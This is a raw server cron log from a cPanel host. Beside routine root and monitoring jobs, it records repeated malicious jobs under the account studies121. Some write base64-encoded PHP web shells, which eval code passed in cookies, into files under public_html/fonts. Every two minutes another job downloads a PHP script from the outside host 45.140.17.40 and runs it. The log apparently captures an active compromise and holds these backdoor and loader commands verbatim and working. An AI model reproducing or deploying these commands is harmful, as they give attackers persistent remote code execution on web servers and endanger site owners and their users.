Sep  9 06:47:01 ip-184-168-122-23 CROND[30844]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 06:48:01 ip-184-168-122-23 CROND[30926]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:48:01 ip-184-168-122-23 CROND[30928]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:48:01 ip-184-168-122-23 CROND[30929]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 06:48:01 ip-184-168-122-23 CROND[30933]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 06:48:01 ip-184-168-122-23 CROND[30932]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 06:49:01 ip-184-168-122-23 CROND[31162]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:49:01 ip-184-168-122-23 CROND[31163]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 06:49:01 ip-184-168-122-23 CROND[31164]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 06:49:01 ip-184-168-122-23 CROND[31166]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:50:01 ip-184-168-122-23 CROND[31282]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:50:01 ip-184-168-122-23 CROND[31288]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 06:50:01 ip-184-168-122-23 CROND[31289]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 06:50:01 ip-184-168-122-23 CROND[31286]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 06:50:01 ip-184-168-122-23 CROND[31287]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 06:50:01 ip-184-168-122-23 CROND[31292]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 06:50:01 ip-184-168-122-23 CROND[31293]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 06:50:01 ip-184-168-122-23 CROND[31295]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 06:50:01 ip-184-168-122-23 CROND[31294]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:51:01 ip-184-168-122-23 CROND[31412]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 06:51:01 ip-184-168-122-23 CROND[31413]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 06:51:01 ip-184-168-122-23 CROND[31414]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:51:01 ip-184-168-122-23 CROND[31415]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:52:01 ip-184-168-122-23 CROND[31527]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:52:01 ip-184-168-122-23 CROND[31529]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 06:52:01 ip-184-168-122-23 CROND[31530]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 06:52:01 ip-184-168-122-23 CROND[31531]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:52:01 ip-184-168-122-23 CROND[31532]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 06:53:01 ip-184-168-122-23 CROND[31673]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:53:01 ip-184-168-122-23 CROND[31674]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:53:01 ip-184-168-122-23 CROND[31675]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 06:53:01 ip-184-168-122-23 CROND[31677]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 06:54:01 ip-184-168-122-23 CROND[31793]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 06:54:01 ip-184-168-122-23 CROND[31798]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 06:54:01 ip-184-168-122-23 CROND[31797]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:54:01 ip-184-168-122-23 CROND[31795]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 06:54:01 ip-184-168-122-23 CROND[31796]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:55:02 ip-184-168-122-23 CROND[31917]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:55:02 ip-184-168-122-23 CROND[31919]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:55:02 ip-184-168-122-23 CROND[31924]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 06:55:02 ip-184-168-122-23 CROND[31921]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 06:55:02 ip-184-168-122-23 CROND[31922]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 06:55:02 ip-184-168-122-23 CROND[31925]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 06:56:01 ip-184-168-122-23 CROND[32125]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 06:56:01 ip-184-168-122-23 CROND[32127]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 06:56:01 ip-184-168-122-23 CROND[32128]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:56:01 ip-184-168-122-23 CROND[32130]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:56:01 ip-184-168-122-23 CROND[32129]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 06:57:01 ip-184-168-122-23 CROND[32278]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 06:57:01 ip-184-168-122-23 CROND[32280]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:57:01 ip-184-168-122-23 CROND[32282]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:57:01 ip-184-168-122-23 CROND[32281]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 06:58:01 ip-184-168-122-23 CROND[32375]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 06:58:01 ip-184-168-122-23 CROND[32377]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 06:58:01 ip-184-168-122-23 CROND[32381]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:58:01 ip-184-168-122-23 CROND[32378]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 06:58:01 ip-184-168-122-23 CROND[32379]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:59:01 ip-184-168-122-23 CROND[32491]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 06:59:01 ip-184-168-122-23 CROND[32493]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:59:01 ip-184-168-122-23 CROND[32495]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:59:01 ip-184-168-122-23 CROND[32494]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 07:00:02 ip-184-168-122-23 CROND[32633]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
